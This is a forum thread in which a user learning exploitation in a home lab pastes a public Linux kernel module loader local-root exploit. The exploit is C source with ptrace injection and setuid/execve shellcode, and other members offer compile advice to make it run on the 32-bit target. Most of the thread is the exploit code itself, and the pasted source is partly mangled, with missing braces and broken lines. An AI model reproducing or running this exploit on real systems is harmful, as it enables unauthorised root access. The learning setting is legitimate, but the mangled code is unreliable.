Jump to content
Hak5 Forums
Sign in to follow this  

floating point exception on exploit code

Recommended Posts

Hi all,

I'm trying to learn the basics of using public exploit code and am running into a "floating point exception" error when I run the complied code on the target machine.  I'm not sure if I am doing something wrong, or if I just need to move on and try another exploit.  Your help is greatly appreciated.

I am using a 64 bit Kali VM to attack a 32 bit redhat SHRIKE VM.  I found an exploit in exploitdb that looks like it should work, "12.c", and have compiled it.  The original source code had some simple errors with bad comments and a header file that was in a different location.  So I fixed those and compiled with the -m32 switch to create a 32bit compatible executable.  I currently get no errors or warnings.  When I run it on my Kali VM, the exploit fails, but appears to run properly.  However, I transferred the file to the target machine, made the file executable, and ran it, and got an error that said "Floating Point Exception".

I read a few things about FPEs and they say the code is probably trying to divide by 0.  Which doesn't really help me.  Can any of you help?

Thanks in advance


*       Linux Kernel Module Loader Local R00t Exploit	 
*	              Up to 2.4.20			
*	        By anonymous KuRaK			

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/time.h>
#include <sys/user.h>

#define TMPSIZE 4096
#define FMAX 768
#define UIDNUM 6
#define MMSIZE (4096*1)
#define MAXSTACK 0xc0000000

//      where to put the root script
#define SHELL "/tmp/w00w00w"

//      what to open to run modprobe
#define ENTRY "/dev/dsp3"

struct uids {
    unsigned uid;
    unsigned euid;
    unsigned suid;
    unsigned fsuid;

//      thanks to the epcs2.c code :-))
char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x31\
xdb\xb0\x17\xcd\x80"	/* setuid(0) */
    "\x31\xc0\xb0\x2e\xcd\x80" "\x31\xc0\x50\xeb\x17\x8b\x1c\x24"	
/* execve(SHELL) */
    "\x90\x90\x90\x89\xe1\x8d\x54\x24"	/* lets be tricky */
    "\xc3\x40\xcd\x80\xe8\xe4\xff\xff" "\xff" SHELL "\x00\x00\x00\x00";

//      payload...
char *shellcmd = "#!/bin/sh\nid|wall\necho \"Your kernel is buggy\"|wall";

volatile int sig = 0;
volatile struct user_regs_struct regs;

void sighnd(int v)

void fatal(const char *msg)
    if (!errno) {
	fprintf(stderr, "FATAL ERROR: %s\n", msg);
    } else {

void exploit(int pid)
    int i;

    if (ptrace(PTRACE_GETREGS, pid, 0, &regs))
	fatal("ptrace: PTRACE_GETREGS");
    for (i = 0; i <= sizeof(shellcode); i += 4) {
	if (ptrace
	    (PTRACE_POKETEXT, pid, regs.eip + i, *(int *) (shellcode + i)))
	    fatal("ptrace: PTRACE_POKETEXT");
    if (ptrace(PTRACE_SETREGS, pid, 0, &regs))
	fatal("ptrace: PTRACE_SETREGS");
    ptrace(PTRACE_DETACH, pid, 0, 0);
    kill(pid, SIGCONT);

int get_ids(FILE * fp, struct uids *uids)
    int i;
    char tmp[TMPSIZE];

    fseek(fp, 0, SEEK_SET);
    for (i = 0; i < UIDNUM; i++)
	fgets(tmp, sizeof(tmp), fp);
    return fscanf(fp, "Uid: %u %u %u %u", &uids->uid, &uids->euid,
		  &uids->suid, &uids->fsuid);

int main(int ac, char **av)
    int fd, pid, p, i;
    char buf[TMPSIZE];
    struct uids uids;
    FILE *fp;

    fd = open(SHELL, O_RDWR | O_CREAT | O_TRUNC, 0755);
    fp = fdopen(fd, "w+");
    fprintf(fp, "%s\n", shellcmd);

    pid = getpid() + 2;
    snprintf(buf, sizeof(buf) - 1, "/proc/%d/status", pid);
    printf("\nModprobe pid %d, my pid %d", pid, getpid());
    signal(SIGUSR1, sighnd);

//      fork modprobe helper
    if (!(p = fork())) {
//      some nice work for exec_usermodehelper(), keep it busy!
	for (i = 0; i < FMAX; i++) {
	    fd = open("/dev/zero", O_RDWR);
	kill(getppid(), SIGUSR1);
	while (!sig);
	printf("\nHelper (pid %d) requesting module...", getpid());
//      synchronize with the child
    else {
	while (!sig);
	kill(p, SIGUSR1);

//      wait for modprobe to run at unprivileged level
	while (1) {
	    fd = open(buf, O_RDONLY);
	    if (fd > 0) {
		if (!(fp = fdopen(fd, "r")))
		if (get_ids(fp, &uids) != 4
		    || (uids.uid != uids.euid || uids.uid != uids.suid
			|| uids.uid != uids.fsuid)) {
		    fatal("did not catch modprobe...try again later :-)");
//      ok, it runs...
		while (1) {
		    if (ptrace(PTRACE_ATTACH, pid, NULL, NULL)) {
			fatal("PTRACE_ATTACH failed!");
		    } else {
			i = 0;
			printf("\nAttached afterburner...\n");
			while (ptrace(PTRACE_GETREGS, pid, 0, &regs)
			       || !regs.eip || regs.eip >= MAXSTACK) {
			    ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
			    printf("\rplease wait %d", i++);
			waitpid(pid, NULL, WUNTRACED);
			    ("\nValid EIP found EIP=%p\nexploiting the bug, good luck... ",

    return 0;

// milw0rm.com [2003-04-14]


Share this post

Link to post
Share on other sites

On my attack VM, I'm using the command "gcc -m32 12.c -o exploit" to compile.  I've tried this same process with a second exploit source code from exploit DB with the same FPE response when I try to execute it on the target VM.  I'm definitely doing something wrong...


Share this post

Link to post
Share on other sites

You could try compiling like this: "gcc -m32 -Wl,--hash-style=both 12.c -o exploit"

Let me know if this works :)

  • Upvote 1

Share this post

Link to post
Share on other sites


Thank you for the response.  I really appreciate you taking time to help.  I found a work around a couple days ago.  There was a compiler on the target machine and I was able to compile the exploit source code directly on the target machine, which did not produce the FPE.  So I think you were on the right track with your suggestion and that some default option was different between the attacking platform and the target machine, which of course the exploit was written for.

Share this post

Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

Sign in to follow this  

  • Recently Browsing   0 members

    No registered users viewing this page.